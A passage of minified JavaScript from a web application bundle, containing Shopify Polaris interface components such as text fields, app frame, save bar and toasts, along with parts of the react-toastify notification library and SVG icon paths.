e=Math.max(l.current.offsetHeight,s.current.offsetHeight);e!==c.current&&i(e)}}))}),[i]);return(0,r.useLayoutEffect)((function(){f()})),r.createElement("div",{"aria-hidden":!0,className:xl.Resizer},r.createElement(Te,{event:"resize",handler:f}),r.createElement("div",{ref:l,className:xl.DummyInput,dangerouslySetInnerHTML:{__html:Yl(t)}}),d)}var Zl={"&":"&","<":"<",">":">","\n":"
","\r":""},Kl=new RegExp("[".concat(Object.keys(Zl).join(),"]"),"g");function Gl(e){return Zl[e]}function $l(e){for(var t="",n=0;n";return t}function Yl(e){return e?"".concat(e.replace(Kl,Gl),"
"):"
"}function Ql(e){var t=e.prefix,n=e.suffix,a=e.placeholder,o=e.value,i=e.helpText,s=e.label,u=e.labelAction,c=e.labelHidden,d=e.disabled,f=e.clearButton,p=e.readOnly,h=e.autoFocus,m=e.focused,v=e.multiline,g=e.error,b=e.connectedRight,y=e.connectedLeft,w=e.type,x=e.name,E=e.id,S=e.role,k=e.step,_=e.autoComplete,C=e.max,P=e.maxLength,N=e.maxHeight,T=e.min,A=e.minLength,M=e.pattern,L=e.inputMode,O=e.spellCheck,F=e.ariaOwns,I=e.ariaControls,j=e.ariaExpanded,R=e.ariaActiveDescendant,B=e.ariaAutocomplete,D=e.showCharacterCount,H=e.align,z=e.onClearButtonClick,U=e.onChange,W=e.onFocus,V=e.onBlur,q=e.requiredIndicator,Z=e.monospaced,K=jt(),G=ne((0,r.useState)(null),2),$=G[0],Y=G[1],Q=ne((0,r.useState)(Boolean(m)),2),X=Q[0],J=Q[1],ee=na(),te=qe("TextField",E),re=(0,r.useRef)(null),ae=(0,r.useRef)(null),oe=(0,r.useRef)(null),ie=(0,r.useRef)();(0,r.useEffect)((function(){var e=re.current;e&&void 0!==m&&(m?e.focus():e.blur())}),[m]);var le="string"===typeof o?o:"",se=null!=k?k:1,ue=null!=C?C:1/0,ce=null!=T?T:-1/0,de=Xe(xl.TextField,Boolean(le)&&xl.hasValue,d&&xl.disabled,p&&xl.readOnly,g&&xl.error,v&&xl.multiline,X&&xl.focus),fe="currency"===w?"text":w,pe=t?r.createElement("div",{className:xl.Prefix,id:"".concat(te,"Prefix"),ref:ae},t):null,he=n?r.createElement("div",{className:xl.Suffix,id:"".concat(te,"Suffix"),ref:oe},n):null,me=null;if(D){var ve=le.length,ge=P?K.translate("Polaris.TextField.characterCountWithMaxLength",{count:ve,limit:P}):K.translate("Polaris.TextField.characterCount",{count:ve}),be=Xe(xl.CharacterCount,v&&xl.AlignFieldBottom),ye=P?"".concat(ve,"/").concat(P):ve;me=r.createElement("div",{id:"".concat(te,"CharacterCounter"),className:be,"aria-label":ge,"aria-live":X?"polite":"off","aria-atomic":"true"},ye)}var we=Xe(xl.ClearButton,!(""!==le)&&xl.Hidden),xe=f?r.createElement("button",{type:"button",className:we,onClick:function(){z&&z(te)},disabled:d},r.createElement(Dt,null,K.translate("Polaris.Common.clear")),r.createElement(zt,{source:Pt,color:"base"})):null,Ee=(0,r.useCallback)((function(e){if(null!=U){var t=function(e){return(e.toString().split(".")[1]||[]).length},n=o?parseFloat(o):0;if(!isNaN(n)){var r=Math.max(t(n),t(se)),a=Math.min(Number(ue),Math.max(n+e*se,Number(ce)));U(String(a.toFixed(r)),te)}}}),[te,ue,ce,U,se,o]),Se=(0,r.useCallback)((function(){clearTimeout(ie.current)}),[]),ke=(0,r.useCallback)((function(e){var t=200;ie.current=window.setTimeout((function n(){t>50&&(t-=10),e(0),ie.current=window.setTimeout(n,t)}),t),document.addEventListener("mouseup",Se,{once:!0})}),[Se]),_e="number"!==w||0===k||d||p?null:r.createElement(Vl,{onChange:Ee,onMouseDown:ke,onMouseUp:Se}),Ce=v&&$?{height:$,maxHeight:N}:null,Pe=(0,r.useCallback)((function(e){Y(e)}),[]),Ne=v&&ee?r.createElement(ql,{contents:le||a,currentHeight:$,minimumLines:"number"===typeof v?v:1,onHeightChange:Pe}):null,Te=[];g&&Te.push("".concat(te,"Error")),i&&Te.push(Hl(te)),D&&Te.push("".concat(te,"CharacterCounter"));var Ae=[];t&&Ae.push("".concat(te,"Prefix")),n&&Ae.push("".concat(te,"Suffix")),Ae.unshift(jl(te));var Me=Xe(xl.Input,H&&xl[Je("Input-align",H)],n&&xl["Input-suffixed"],f&&xl["Input-hasClearButton"],Z&&xl.monospaced),Le=(0,r.createElement)(v?"textarea":"input",l({name:x,id:te,disabled:d,readOnly:p,role:S,autoFocus:h,value:le,placeholder:a,onFocus:W,onBlur:V,onKeyPress:function(e){var t=e.key,n=e.which;if("number"!==w||n===Hn.Enter||/[\d.eE+-]$/.test(t))return;e.preventDefault()},style:Ce,autoComplete:_,className:Me,onChange:function(e){U&&U(e.currentTarget.value,te)},ref:re,min:T,max:C,step:k,minLength:A,maxLength:P,spellCheck:O,pattern:M,inputMode:L,type:fe,"aria-describedby":Te.length?Te.join(" "):void 0,"aria-labelledby":Ae.join(" "),"aria-invalid":Boolean(g),"aria-owns":F,"aria-activedescendant":R,"aria-autocomplete":B,"aria-controls":I,"aria-expanded":j,"aria-required":q},function(e){return e&&(Boolean(e)||e>0)?{"aria-multiline":!0}:void 0}(v))),Oe=Xe(xl.Backdrop,y&&xl["Backdrop-connectedLeft"],b&&xl["Backdrop-connectedRight"]);return r.createElement(Dl,{label:s,id:te,error:g,action:u,labelHidden:c,helpText:i,requiredIndicator:q},r.createElement(Wl,{left:y,right:b},r.createElement("div",{className:de,onFocus:function(e){if(Fe(e.target))return;J(!0)},onBlur:function(){J(!1)},onClick:function(e){var t;if(Fe(e.target)||X)return;null===(t=re.current)||void 0===t||t.focus()}},pe,Le,he,me,xe,_e,r.createElement("div",{className:Oe}),Ne)));function Fe(e){return e instanceof HTMLElement&&(ae.current&&ae.current.contains(e)||oe.current&&oe.current.contains(e))}}function Xl(e,t,n){if(null!=document){var r=n&&n instanceof HTMLElement?n:document.documentElement;r&&r.style.setProperty(e,t)}}var Jl="Polaris-Frame",es="Polaris-Frame__Navigation",ts="Polaris-Frame--hasTopBar",ns="Polaris-Frame__Navigation--enter",rs="Polaris-Frame__Navigation--enterActive",as="Polaris-Frame__Navigation--exit",os="Polaris-Frame__Navigation--exitActive",is="Polaris-Frame__NavigationDismiss",ls="Polaris-Frame__Navigation--visible",ss="Polaris-Frame__TopBar",us="Polaris-Frame__ContextualSaveBar",cs="Polaris-Frame__Main",ds="Polaris-Frame--hasNav",fs="Polaris-Frame__Content",ps="Polaris-Frame__GlobalRibbonContainer",hs="Polaris-Frame__LoadingBar",ms="Polaris-Frame__Skip",vs="Polaris-Frame--focused";var gs="Polaris-Frame-Loading",bs="Polaris-Frame-Loading__Level";function ys(){var e=jt(),t=function(){var e=(0,r.useRef)(!1);return(0,r.useEffect)((function(){return e.current=!0,function(){e.current=!1}}),[]),e}(),n=ne((0,r.useState)(0),2),a=n[0],o=n[1],i=ne((0,r.useState)(!1),2),l=i[0],s=i[1];(0,r.useEffect)((function(){a>=99||l||requestAnimationFrame((function(){if(t.current){var e=Math.max((99-a)/10,1);s(!0),o(a+e)}}))}),[a,l,t]);var u={transform:"scaleX(".concat(Math.floor(a)/100,")")};return r.createElement("div",{className:gs,"aria-valuenow":a,"aria-valuemin":0,"aria-valuemax":100,role:"progressbar","aria-label":e.translate("Polaris.Loading.label")},r.createElement("div",{className:bs,style:u,onTransitionEnd:function(){return s(!1)}}))}var ws,xs={startFade:"Polaris-Frame-CSSAnimation--startFade",endFade:"Polaris-Frame-CSSAnimation--endFade"};function Es(e){var t=e.in,n=e.className,a=e.type,o=e.children,i=ne((0,r.useState)(t?ws.Entering:ws.Exited),2),l=i[0],s=i[1],u=(0,r.useRef)(!1),c=(0,r.useRef)(null);(0,r.useEffect)((function(){u.current&&l===ws.Entering&&p(ws.Entered)}),[l]),(0,r.useEffect)((function(){u.current&&(t&&p(ws.Entering),!t&&p(ws.Exiting))}),[t]),(0,r.useEffect)((function(){u.current=!0}),[]);var d=Xe(n,xs[Je("start",a)],t&&xs[Je("end",a)]),f=l!==ws.Exited||t?o:null;return r.createElement("div",{className:d,ref:c,onTransitionEnd:function(){l===ws.Exiting&&p(ws.Exited)}},f);function p(e){s(e),e===ws.Entering&&c.current&&c.current.getBoundingClientRect()}}!function(e){e.Entering="entering",e.Entered="entered",e.Exiting="exiting",e.Exited="exited"}(ws||(ws={}));var Ss="Polaris-Frame-ContextualSaveBar",ks="Polaris-Frame-ContextualSaveBar__LogoContainer",_s="Polaris-Frame-ContextualSaveBar__ContextControl",Cs="Polaris-Frame-ContextualSaveBar__Message",Ps="Polaris-Frame-ContextualSaveBar__Contents",Ns="Polaris-Frame-ContextualSaveBar--fullWidth",Ts="Polaris-Frame-ContextualSaveBar__ActionContainer";function As(e){var t=e.open,n=e.onDiscard,a=e.onCancel,o=jt();return r.createElement(ll,{title:o.translate("Polaris.DiscardConfirmationModal.title"),open:t,onClose:a,primaryAction:{content:o.translate("Polaris.DiscardConfirmationModal.primaryAction"),destructive:!0,onAction:n},secondaryActions:[{content:o.translate("Polaris.DiscardConfirmationModal.secondaryAction"),onAction:a}],sectioned:!0},o.translate("Polaris.DiscardConfirmationModal.message"))}function Ms(e){var t,n=e.alignContentFlush,a=e.message,o=e.saveAction,i=e.discardAction,l=e.fullWidth,s=e.contextControl,u=jt(),c=za().logo,d=rt(!1),f=d.value,p=d.toggle,h=d.setFalse,m=(0,r.useCallback)((function(){i&&i.onAction&&i.onAction(),h()}),[h,i]),v=i&&i.content?i.content:u.translate("Polaris.ContextualSaveBar.discard");i&&i.discardConfirmationModal?t=p:i&&(t=i.onAction);var g=i&&i.onAction&&i.discardConfirmationModal&&r.createElement(As,{open:f,onCancel:p,onDiscard:m}),b=i&&r.createElement(Ma,{url:i.url,onClick:t,loading:i.loading,disabled:i.disabled,accessibilityLabel:i.content},v),y=o&&o.content?o.content:u.translate("Polaris.ContextualSaveBar.save"),w=o&&r.createElement(Ma,{primary:!0,url:o.url,onClick:o.onAction,loading:o.loading,disabled:o.disabled,accessibilityLabel:o.content},y),x=nt(c,104),E=c&&r.createElement(Ba,{style:{width:x},source:c.contextualSaveBarSource||"",alt:""}),S=n||s?null:r.createElement("div",{className:ks,style:{width:x}},E),k=s?r.createElement("div",{className:_s},s):null,_=Xe(Ps,l&&Ns);return r.createElement(r.Fragment,null,r.createElement(_e,{theme:{colorScheme:"inverse"}},r.createElement("div",{className:Ss},k,S,r.createElement("div",{className:_},r.createElement("h2",{className:Cs},a),r.createElement("div",{className:Ts},r.createElement(Vr,{spacing:"tight",wrap:!1},b,w))))),g)}var Ls="Polaris-Frame-ToastManager",Os="Polaris-Frame-ToastManager__ToastWrapper",Fs="Polaris-Frame-ToastManager__ToastWrapper--enter",Is="Polaris-Frame-ToastManager__ToastWrapper--exit",js="Polaris-Frame-ToastManager--toastWrapperEnterDone",Rs="Polaris-Frame-Toast",Bs="Polaris-Frame-Toast__Action",Ds="Polaris-Frame-Toast--error",Hs="Polaris-Frame-Toast__CloseButton";function zs(e){var t=e.content,n=e.onDismiss,a=e.duration,o=e.error,i=e.action;(0,r.useEffect)((function(){var e=a||5e3;i&&!a?e=1e4:i&&a&&a<1e4&&console.log("Toast with action should persist for at least 10,000 milliseconds to give the merchant enough time to act on it.");var t=setTimeout(n,e);return function(){clearTimeout(t)}}),[i,a,n]);var l=r.createElement("button",{type:"button",className:Hs,onClick:n},r.createElement(zt,{source:Bi})),s=i?r.createElement("div",{className:Bs},r.createElement(Ma,{plain:!0,monochrome:!0,onClick:i.onAction},i.content)):null,u=Xe(Rs,o&&Ds);return r.createElement(_e,{theme:{colorScheme:"inverse"}},r.createElement("div",{className:u},r.createElement(cr,{keyCode:Hn.Escape,handler:n}),t,s,l))}var Us,Ws=(0,r.memo)((function(e){var t,n,a,o=e.toastMessages,i=[],l=(t=function(){var e=0;o.forEach((function(t,n){var r=i[n];r.current&&(e+=r.current.clientHeight,r.current.style.setProperty("--toast-translate-y-in","-".concat(e,"px")),r.current.style.setProperty("--toast-translate-y-out","".concat(150-e,"px")))}))},n=[o,i],(0,r.useCallback)(t,He(n,a)));ze((function(){l()}),[o]);var s=o.map((function(e,t){var n=(0,r.createRef)();return i[t]=n,r.createElement(mi,{nodeRef:i[t],key:e.id,timeout:{enter:0,exit:400},classNames:Vs},r.createElement("div",{ref:n},r.createElement(zs,e)))}));return r.createElement(Rn,null,r.createElement(Te,{event:"resize",handler:l}),r.createElement("div",{className:Ls,"aria-live":"assertive"},r.createElement(Xo,{component:null},s)))})),Vs={enter:Xe(Os,Fs),enterDone:Xe(Os,js),exit:Xe(Os,Is)},qs="--global-ribbon-height",Zs="AppFrameMain",Ks=function(e){h(n,e);var t=w(n);function n(){var e;(0,d.Z)(this,n);for(var a=arguments.length,o=new Array(a),i=0;i0?r.createElement("div",{className:hs,id:"AppFrameLoadingBar"},r.createElement(ys,null)):null,k=r.createElement(Es,{in:o,className:us,type:"fade"},r.createElement(Ms,this.contextualSaveBar)),_=c?r.createElement("div",Object.assign({className:ss},N.props,A,{id:"AppFrameTopBar"}),c):null,C=d?r.createElement("div",{className:ps,ref:this.setGlobalRibbonContainer},d):null,P=Xe(ms,t&&vs),T=null!==h&&void 0!==h&&h.current?h.current.id:Zs,M=r.createElement("div",{className:P},r.createElement("a",{href:"#".concat(T),onFocus:this.handleFocus,onBlur:this.handleBlur,onClick:this.handleClick},m.translate("Polaris.Frame.skipToContent"))),L=u?{"data-has-navigation":!0}:{},O=Xe(Jl,u&&ds,c&&ts),F=p&&v?r.createElement(il,{belowNavigation:!0,onClick:this.handleNavigationDismiss,onTouchStart:this.handleNavigationDismiss}):null,I={showToast:this.showToast,hideToast:this.hideToast,startLoading:this.startLoading,stopLoading:this.stopLoading,setContextualSaveBar:this.setContextualSaveBar,removeContextualSaveBar:this.removeContextualSaveBar};return r.createElement(Ze.Provider,{value:I},r.createElement("div",Object.assign({className:O},N.props,L),M,_,E,k,S,F,r.createElement("main",{className:cs,id:Zs,"data-has-global-ribbon":Boolean(d)},r.createElement("div",{className:fs},s)),r.createElement(Ws,{toastMessages:a}),C,r.createElement(Te,{event:"resize",handler:this.handleResize})))}}]),n}(r.PureComponent),Gs={enter:Xe(ns),enterActive:Xe(rs),enterDone:Xe(rs),exit:Xe(as),exitActive:Xe(os)};function $s(e){var t=jt(),n=Lo();return r.createElement(Ks,Object.assign({},e,{i18n:t,mediaQuery:n}))}var Ys,Qs,Xs,Js=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Us||(Us=r.createElement("path",{d:"M18 7.261V17.5c0 .841-.672 1.5-1.5 1.5h-2c-.828 0-1.5-.659-1.5-1.5V13H7v4.477C7 18.318 6.328 19 5.5 19h-2c-.828 0-1.5-.682-1.5-1.523V7.261a1.5 1.5 0 0 1 .615-1.21l6.59-4.82a1.481 1.481 0 0 1 1.59 0l6.59 4.82A1.5 1.5 0 0 1 18 7.26z"})))},eu=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Ys||(Ys=r.createElement("path",{d:"M15.284 14.546A2.975 2.975 0 0 1 17 14c1.654 0 3 1.346 3 3s-1.346 3-3 3-3-1.346-3-3a2.94 2.94 0 0 1 .129-.822l-1.575-1.125A3.964 3.964 0 0 1 10 16a3.964 3.964 0 0 1-2.554-.947l-1.575 1.125c.076.262.129.535.129.822 0 1.654-1.346 3-3 3s-3-1.346-3-3 1.346-3 3-3c.615 0 1.214.191 1.716.546l1.56-1.114A3.97 3.97 0 0 1 6 12c0-1.858 1.28-3.411 3-3.858V5.815A2.993 2.993 0 0 1 7 3c0-1.654 1.346-3 3-3s3 1.346 3 3a2.996 2.996 0 0 1-2 2.816v2.326c1.72.447 3 2 3 3.858-.003.49-.096.976-.276 1.432l1.56 1.114zm1.037 3.146A1 1 0 0 0 17 18a1 1 0 0 0 0-2 1 1 0 0 0-.679 1.692zm-14 0A1 1 0 0 0 3 18a1 1 0 0 0 0-2 1 1 0 0 0-.679 1.692zM11 3c0-.551-.449-1-1-1-.551 0-1 .449-1 1 0 .551.449 1 1 1 .551 0 1-.449 1-1z"})))},tu=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Qs||(Qs=r.createElement("path",{fillRule:"evenodd",d:"M10 0C4.486 0 0 4.486 0 10c0 1.728.45 3.42 1.304 4.924L.101 17.965c-.458 1.209.726 2.393 1.935 1.934l3.04-1.204A9.944 9.944 0 0 0 10 20c5.514 0 10-4.486 10-10S15.514 0 10 0zM5.293 9.293a.997.997 0 0 1 1.414 0 .997.997 0 0 1 0 1.414.997.997 0 0 1-1.414 0 .997.997 0 0 1 0-1.414zm4 0a.997.997 0 0 1 1.414 0 .997.997 0 0 1 0 1.414 1.003 1.003 0 0 1-1.414 0 1.003 1.003 0 0 1 0-1.414zM14 9a.997.997 0 0 0-1 1 .997.997 0 0 0 1 1 .997.997 0 0 0 1-1 .997.997 0 0 0-1-1z"})))},nu=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Xs||(Xs=r.createElement("path",{d:"M3.415.189a1 1 0 0 1 1.1-.046l15 9a1 1 0 0 1 0 1.714l-15 9a1 1 0 0 1-1.491-1.074L4.754 11H10a1 1 0 1 0 0-2H4.753l-1.73-7.783A1 1 0 0 1 3.416.189z"})))},ru="Polaris-Subheading";function au(e){var t=e.element,n=void 0===t?"h3":t,a=e.children,o="string"===typeof a?a:void 0;return r.createElement(n,{"aria-label":o,className:ru},a)}var ou=n(4569),iu=n.n(ou);function lu(e){var t,n,r="";if("string"===typeof e||"number"===typeof e)r+=e;else if("object"===typeof e)if(Array.isArray(e))for(t=0;t=0||(a[n]=e[n]);return a}function du(e){return"number"===typeof e&&!isNaN(e)}function fu(e){return"boolean"===typeof e}function pu(e){return"string"===typeof e}function hu(e){return"function"===typeof e}function mu(e){return pu(e)||hu(e)?e:null}function vu(e){return 0===e||e}var gu=!("undefined"===typeof window||!window.document||!window.document.createElement);function bu(e){return(0,r.isValidElement)(e)||pu(e)||hu(e)||du(e)}var yu={TOP_LEFT:"top-left",TOP_RIGHT:"top-right",TOP_CENTER:"top-center",BOTTOM_LEFT:"bottom-left",BOTTOM_RIGHT:"bottom-right",BOTTOM_CENTER:"bottom-center"},wu={INFO:"info",SUCCESS:"success",WARNING:"warning",ERROR:"error",DEFAULT:"default"};function xu(e){var t=e.enter,n=e.exit,a=e.appendPosition,o=void 0!==a&&a,i=e.collapse,l=void 0===i||i,s=e.collapseDuration,u=void 0===s?300:s;return function(e){var a=e.children,i=e.position,s=e.preventExitTransition,c=e.done,d=e.nodeRef,f=e.isIn,p=o?t+"--"+i:t,h=o?n+"--"+i:n,m=(0,r.useRef)(),v=(0,r.useRef)(0);function g(e){if(e.target===d.current){var t=d.current;t.removeEventListener("animationend",g),0===v.current&&(t.className=m.current)}}function b(){var e=d.current;e.removeEventListener("animationend",b),l?function(e,t,n){void 0===n&&(n=300);var r=e.scrollHeight,a=e.style;requestAnimationFrame((function(){a.minHeight="initial",a.height=r+"px",a.transition="all "+n+"ms",requestAnimationFrame((function(){a.height="0",a.padding="0",a.margin="0",setTimeout(t,n)}))}))}(e,c,u):c()}return(0,r.useLayoutEffect)((function(){!function(){var e=d.current;m.current=e.className,e.className+=" "+p,e.addEventListener("animationend",g)}()}),[]),(0,r.useEffect)((function(){f||(s?b():function(){v.current=1;var e=d.current;e.className+=" "+h,e.addEventListener("animationend",b)}())}),[f]),r.createElement(r.Fragment,null,a)}}var Eu={list:new Map,emitQueue:new Map,on:function(e,t){return this.list.has(e)||this.list.set(e,[]),this.list.get(e).push(t),this},off:function(e,t){if(t){var n=this.list.get(e).filter((function(e){return e!==t}));return this.list.set(e,n),this}return this.list.delete(e),this},cancelEmit:function(e){var t=this.emitQueue.get(e);return t&&(t.forEach(clearTimeout),this.emitQueue.delete(e)),this},emit:function(e){for(var t=this,n=arguments.length,r=new Array(n>1?n-1:0),a=1;a0?E:S),hideProgressBar:fu(f.hideProgressBar)?f.hideProgressBar:y.hideProgressBar,progress:f.progress,role:pu(f.role)?f.role:y.role,deleteToast:function(){!function(e){delete u[e];var n=s.length;(l=vu(e)?l-1:l-c.displayedToast)<0&&(l=0);if(n>0){var r=vu(e)?1:c.props.limit;if(1===n||1===r)c.displayedToast++,h();else{var a=r>n?n:r;c.displayedToast=a;for(var o=0;o0&&l>y.limit&&x?s.push({toastContent:C,toastProps:k,staleId:d}):du(o)&&o>0?setTimeout((function(){v(C,k,d)}),o):v(C,k,d)}}function v(e,t,n){var r=t.toastId;n&&delete u[n],u[r]={content:e,props:t},o({type:0,toastId:r,staleId:n})}return(0,r.useEffect)((function(){return c.containerId=e.containerId,Eu.cancelEmit(3).on(0,m).on(1,(function(e){return i.current&&p(e)})).on(5,f).emit(2,c),function(){return Eu.emit(3,c)}}),[]),(0,r.useEffect)((function(){c.isToastActive=d,c.displayedToast=a.length,Eu.emit(4,a.length,e.containerId)}),[a]),(0,r.useEffect)((function(){c.props=e})),{getToastToRender:function(t){for(var n={},r=e.newestOnTop?Object.keys(u).reverse():Object.keys(u),a=0;a=1?e.targetTouches[0].clientX:e.clientX}function Nu(e){return e.targetTouches&&e.targetTouches.length>=1?e.targetTouches[0].clientY:e.clientY}function Tu(e){var t=(0,r.useState)(!0),n=t[0],a=t[1],o=(0,r.useState)(!1),i=o[0],l=o[1],s=(0,r.useRef)(null),u=Su({start:0,x:0,y:0,delta:0,removalDistance:0,canCloseOnClick:!0,canDrag:!1,boundingRect:null}),c=Su(e,!0),d=e.autoClose,f=e.pauseOnHover,p=e.closeToast,h=e.onClick,m=e.closeOnClick;function v(t){if(e.draggable){var n=s.current;u.canCloseOnClick=!0,u.canDrag=!0,u.boundingRect=n.getBoundingClientRect(),n.style.transition="",u.x=Pu(t.nativeEvent),u.y=Nu(t.nativeEvent),"x"===e.draggableDirection?(u.start=u.x,u.removalDistance=n.offsetWidth*(e.draggablePercent/100)):(u.start=u.y,u.removalDistance=n.offsetHeight*(e.draggablePercent/100))}}function g(){if(u.boundingRect){var t=u.boundingRect,n=t.top,r=t.bottom,a=t.left,o=t.right;e.pauseOnHover&&u.x>=a&&u.x<=o&&u.y>=n&&u.y<=r?y():b()}}function b(){a(!0)}function y(){a(!1)}function w(t){if(u.canDrag){t.preventDefault();var r=s.current;n&&y(),u.x=Pu(t),u.y=Nu(t),"x"===e.draggableDirection?u.delta=u.x-u.start:u.delta=u.y-u.start,u.start!==u.x&&(u.canCloseOnClick=!1),r.style.transform="translate"+e.draggableDirection+"("+u.delta+"px)",r.style.opacity=""+(1-Math.abs(u.delta/u.removalDistance))}}function x(){var t=s.current;if(u.canDrag){if(u.canDrag=!1,Math.abs(u.delta)>u.removalDistance)return l(!0),void e.closeToast();t.style.transition="transform 0.2s, opacity 0.2s",t.style.transform="translate"+e.draggableDirection+"(0)",t.style.opacity="1"}}(0,r.useEffect)((function(){return hu(e.onOpen)&&e.onOpen((0,r.isValidElement)(e.children)&&e.children.props),function(){hu(c.onClose)&&c.onClose((0,r.isValidElement)(c.children)&&c.children.props)}}),[]),(0,r.useEffect)((function(){return e.draggable&&(document.addEventListener("mousemove",w),document.addEventListener("mouseup",x),document.addEventListener("touchmove",w),document.addEventListener("touchend",x)),function(){e.draggable&&(document.removeEventListener("mousemove",w),document.removeEventListener("mouseup",x),document.removeEventListener("touchmove",w),document.removeEventListener("touchend",x))}}),[e.draggable]),(0,r.useEffect)((function(){return e.pauseOnFocusLoss&&function(){document.hasFocus()||y();window.addEventListener("focus",b),window.addEventListener("blur",y)}(),function(){e.pauseOnFocusLoss&&(window.removeEventListener("focus",b),window.removeEventListener("blur",y))}}),[e.pauseOnFocusLoss]);var E={onMouseDown:v,onTouchStart:v,onMouseUp:g,onTouchEnd:g};return d&&f&&(E.onMouseEnter=y,E.onMouseLeave=b),m&&(E.onClick=function(e){h&&h(e),u.canCloseOnClick&&p()}),{playToast:b,pauseToast:y,isRunning:n,preventExitTransition:i,toastRef:s,eventHandlers:E}}function Au(e){var t=e.closeToast,n=e.theme,a=e.ariaLabel,o=void 0===a?"close":a;return(0,r.createElement)("button",{className:"Toastify__close-button Toastify__close-button--"+n,type:"button",onClick:function(e){e.stopPropagation(),t(e)},"aria-label":o},(0,r.createElement)("svg",{"aria-hidden":"true",viewBox:"0 0 14 16"},(0,r.createElement)("path",{fillRule:"evenodd",d:"M7.71 8.23l3.75 3.75-1.48 1.48-3.75-3.75-3.75 3.75L1 11.98l3.75-3.75L1 4.48 2.48 3l3.75 3.75L9.98 3l1.48 1.48-3.75 3.75z"})))}function Mu(e){var t,n,a=e.delay,o=e.isRunning,i=e.closeToast,l=e.type,s=e.hide,u=e.className,c=e.style,d=e.controlledProgress,f=e.progress,p=e.rtl,h=e.isIn,m=e.theme,v=uu({},c,{animationDuration:a+"ms",animationPlayState:o?"running":"paused",opacity:s?0:1});d&&(v.transform="scaleX("+f+")");var g=su("Toastify__progress-bar",d?"Toastify__progress-bar--controlled":"Toastify__progress-bar--animated","Toastify__progress-bar-theme--"+m,"Toastify__progress-bar--"+l,((t={})["Toastify__progress-bar--rtl"]=p,t)),b=hu(u)?u({rtl:p,type:l,defaultClassName:g}):su(g,u),y=((n={})[d&&f>=1?"onTransitionEnd":"onAnimationEnd"]=d&&f<1?null:function(){h&&i()},n);return(0,r.createElement)("div",Object.assign({role:"progressbar","aria-hidden":s?"true":"false","aria-label":"notification timer",className:b,style:v},y))}Mu.defaultProps={type:wu.DEFAULT,hide:!1};var Lu=["theme","type"],Ou=function(e){var t=e.theme,n=e.type,a=cu(e,Lu);return r.createElement("svg",Object.assign({viewBox:"0 0 24 24",width:"100%",height:"100%",fill:"colored"===t?"currentColor":"var(--toastify-icon-color-"+n+")"},a))};var Fu={info:function(e){return r.createElement(Ou,Object.assign({},e),r.createElement("path",{d:"M12 0a12 12 0 1012 12A12.013 12.013 0 0012 0zm.25 5a1.5 1.5 0 11-1.5 1.5 1.5 1.5 0 011.5-1.5zm2.25 13.5h-4a1 1 0 010-2h.75a.25.25 0 00.25-.25v-4.5a.25.25 0 00-.25-.25h-.75a1 1 0 010-2h1a2 2 0 012 2v4.75a.25.25 0 00.25.25h.75a1 1 0 110 2z"}))},warning:function(e){return r.createElement(Ou,Object.assign({},e),r.createElement("path",{d:"M23.32 17.191L15.438 2.184C14.728.833 13.416 0 11.996 0c-1.42 0-2.733.833-3.443 2.184L.533 17.448a4.744 4.744 0 000 4.368C1.243 23.167 2.555 24 3.975 24h16.05C22.22 24 24 22.044 24 19.632c0-.904-.251-1.746-.68-2.44zm-9.622 1.46c0 1.033-.724 1.823-1.698 1.823s-1.698-.79-1.698-1.822v-.043c0-1.028.724-1.822 1.698-1.822s1.698.79 1.698 1.822v.043zm.039-12.285l-.84 8.06c-.057.581-.408.943-.897.943-.49 0-.84-.367-.896-.942l-.84-8.065c-.057-.624.25-1.095.779-1.095h1.91c.528.005.84.476.784 1.1z"}))},success:function(e){return r.createElement(Ou,Object.assign({},e),r.createElement("path",{d:"M12 0a12 12 0 1012 12A12.014 12.014 0 0012 0zm6.927 8.2l-6.845 9.289a1.011 1.011 0 01-1.43.188l-4.888-3.908a1 1 0 111.25-1.562l4.076 3.261 6.227-8.451a1 1 0 111.61 1.183z"}))},error:function(e){return r.createElement(Ou,Object.assign({},e),r.createElement("path",{d:"M11.983 0a12.206 12.206 0 00-8.51 3.653A11.8 11.8 0 000 12.207 11.779 11.779 0 0011.8 24h.214A12.111 12.111 0 0024 11.791 11.766 11.766 0 0011.983 0zM10.5 16.542a1.476 1.476 0 011.449-1.53h.027a1.527 1.527 0 011.523 1.47 1.475 1.475 0 01-1.449 1.53h-.027a1.529 1.529 0 01-1.523-1.47zM11 12.5v-6a1 1 0 012 0v6a1 1 0 11-2 0z"}))},spinner:function(){return r.createElement("div",{className:"Toastify__spinner"})}},Iu=function(e){var t,n,a=Tu(e),o=a.isRunning,i=a.preventExitTransition,l=a.toastRef,s=a.eventHandlers,u=e.closeButton,c=e.children,d=e.autoClose,f=e.onClick,p=e.type,h=e.hideProgressBar,m=e.closeToast,v=e.transition,g=e.position,b=e.className,y=e.style,w=e.bodyClassName,x=e.bodyStyle,E=e.progressClassName,S=e.progressStyle,k=e.updateId,_=e.role,C=e.progress,P=e.rtl,N=e.toastId,T=e.deleteToast,A=e.isIn,M=e.isLoading,L=e.icon,O=e.theme,F=su("Toastify__toast","Toastify__toast-theme--"+O,"Toastify__toast--"+p,((t={})["Toastify__toast--rtl"]=P,t)),I=hu(b)?b({rtl:P,position:g,type:p,defaultClassName:F}):su(F,b),j=!!C,R=Fu[p],B={theme:O,type:p},D=R&&R(B);return!1===L?D=void 0:hu(L)?D=L(B):(0,r.isValidElement)(L)?D=(0,r.cloneElement)(L,B):pu(L)?D=L:M&&(D=Fu.spinner()),(0,r.createElement)(v,{isIn:A,done:T,position:g,preventExitTransition:i,nodeRef:l},(0,r.createElement)("div",Object.assign({id:N,onClick:f,className:I},s,{style:y,ref:l}),(0,r.createElement)("div",Object.assign({},A&&{role:_},{className:hu(w)?w({type:p}):su("Toastify__toast-body",w),style:x}),D&&(0,r.createElement)("div",{className:su("Toastify__toast-icon",(n={},n["Toastify--animate-icon Toastify__zoom-enter"]=!M,n))},D),(0,r.createElement)("div",null,c)),function(e){if(e){var t={closeToast:m,type:p,theme:O};return hu(e)?e(t):(0,r.isValidElement)(e)?(0,r.cloneElement)(e,t):void 0}}(u),(d||j)&&(0,r.createElement)(Mu,Object.assign({},k&&!j?{key:"pb-"+k}:{},{rtl:P,theme:O,delay:d,isRunning:o,isIn:A,closeToast:m,hide:h,type:p,style:S,className:E,controlledProgress:j,progress:C}))))},ju=xu({enter:"Toastify--animate 